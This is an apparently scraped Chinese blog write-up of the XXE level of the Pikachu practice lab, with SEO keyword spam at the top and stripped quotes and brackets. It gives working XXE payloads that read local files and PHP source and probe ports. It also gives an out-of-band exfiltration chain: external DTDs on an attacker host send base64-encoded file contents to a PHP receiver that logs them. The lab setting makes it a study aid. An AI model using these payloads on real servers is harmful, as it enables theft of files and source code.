东莞网站建设基础型,营销公司官网,seo常用分析的专业工具,wordpress js 调用Pikachu-xxe过关笔记 有回显探测是否有回显file:///协议查看本地系统文件php://协议查看php源代码#xff08;无法查看当前网页代码#xff0c;只能看别的#xff09;http://协议爆破开放端口#xff08;两者的加载时间不同#xff09; 无回显第一步第二步第三步 运行结果… Pikachu-xxe过关笔记 有回显探测是否有回显file:///协议查看本地系统文件php://协议查看php源代码无法查看当前网页代码只能看别的http://协议爆破开放端口两者的加载时间不同 无回显第一步第二步第三步 运行结果 这一关包含了xxe漏洞可以练习使用不同注入方法过关
有回显 环境配置 win10物理机搭建phpstudy 探测是否有回显
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe chuan ]
fooxxe;/foofile:///协议查看本地系统文件
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM file:///c:/windows/win.ini ]
fooxxe;/foophp://协议查看php源代码无法查看当前网页代码只能看别的
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resourced:/phpstudy_pro/WWW/pikachu-master/vul/rce/rce.php ]
fooxxe;/foohttp://协议爆破开放端口两者的加载时间不同
?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM http://127.0.0.1:80 ]
fooxxe;/foo?xml version1.0?
!DOCTYPE foo [
!ENTITY xxe SYSTEM http://127.0.0.1:81 ]
fooxxe;/foo无回显 环境配置 攻击机为虚拟机kaliip为192.168.181.129 靶机为win10物理机ip为192.168.181.1 物理机上搭建phpstudy使用kali通过网页访问物理机搭建的网站如下图最终目标是获取物理机网站下的文件。 讲讲思路先吧。 虽然它有回显但我们假装无回显好吧懒得改代码了所以就不能像上述操作一样直接从页面中看到返回的结果。 因此我们要转变下思路既然无法直接看见结果那我们就让目标网站主动将结果发给我们然后我们就可以接收网站的传参最后获取结果。 思路有了那么该如何实现呢 第一步先在输入框里传入xml代码使得网站主动访问我们的payload 第二步在payload里写入获取目标信息以及发送信息的代码 第三步就是在我们自己的网站上新建一个接收信息的文件等待目标网站主动给我们发信息就o了 思路讲完了接下来是代码时间~ 第一步
在输入框里传入xml代码使得192.168.181.1主动访问192.168.181.129网站上的外部实体dtd文件两种写法结果一样一样的
?xml version1.0?
!DOCTYPE foo [
!ENTITY % dtd SYSTEM http://192.168.181.129/test.dtd
%dtd;
%print;
%send;
]
?xml version 1.0?
!DOCTYPE test [!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcephp://filter/convert.base64-encode/resourced:/phpstudy_pro/WWW/index.php!ENTITY % dtd SYSTEM http://192.168.181.129/test1.dtd%dtd;%payload;%send;
]
第二步
将写有payload的dtd文件写入kali网站目录能访问到就行 以下是两种dtd文件写法分别对应以上两种不同的xml提交代码也是写法上有一丢丢不同原理一样 都是将查找到的php源码信息进行base64编码后作为参数传入data中
以下是我找的相关资料 在 HTML中某些字符是预留的例如小于号「」、大于号「」等浏览器会将它们视作标签。如果想要在HTML中显示这些预留字符我们就要用到字符实体character entities。我们比较熟悉的字符实体有空格「 」小于号「」大于号「」等。这样的格式比较语义化容易记忆但其实字符实体有其他的格式 / ~ ~ ~ numeric character reference数字取值为目标字符的 Unicode code point以「#」开头的后接十进制数字「#x」开头的后接十六进制数字。 / ~ ~ ~ #37 #x25 都为 % test.dtd !ENTITY % file SYSTEM php://filter/convert.base64-encode/resourced:/phpstudy_pro/WWW/index.php
!ENTITY % print !ENTITY #37; send SYSTEM http://192.168.181.129/recive.php?data%file;
test1.dtd !ENTITY % payload!ENTITY #x25; send SYSTEM
http://192.168.181.129/recive.php?data%file;第三步
下面是用于接受发送数据的recive.php也是写入kali机的网站。因为dtd文件使用get方法传参所以只需要接受GET参数并保存到get_data.txt里面就好了。
?php
// 检查请求方法是否为POST
if ($_SERVER[REQUEST_METHOD] GET) {// 获取POST请求的数据$postData $_GET[data]; // data是GET请求中的字段名可以根据需要修改// 如果数据非空将其保存到文件if (!empty($postData)) {$fileName get_data.txt; // 文件名可以根据需要修改$file fopen($fileName, a); // 打开文件以追加模式写入if ($file) {fwrite($file, $postData . \n); // 写入数据fclose($file); // 关闭文件echo 数据保存成功;} else {echo 无法打开文件进行写入。;}} else {echo 未收到有效数据。;}
} else {echo 只接受GET请求。;
}
运行结果
代码到这就结束了下面是运行截图
就是不知道为啥这里一直显示失败但我的确又是得到最终结果了_不管了 kali网站路径下成功得到了一个get_data.txt文件里面是index.php源码的base64编码直接解码一下就好了
以下是我用wireshark抓包抓来的可以看见物理机和kali之间互相请求了两个来回才完成这次攻击下面我简要记录一下请求的内容
第一次请求没啥好看的就是把kali把装有xml代码的数据包发给物理机 第二次请求物理机解析了xml代码后主动访问kali网站上的test.dtd文件
第三次请求kali向物理机传入payload
第四次请求物理机解析dtd文件后将结果放入data参数中传给kali 很清晰的过程 o了 : )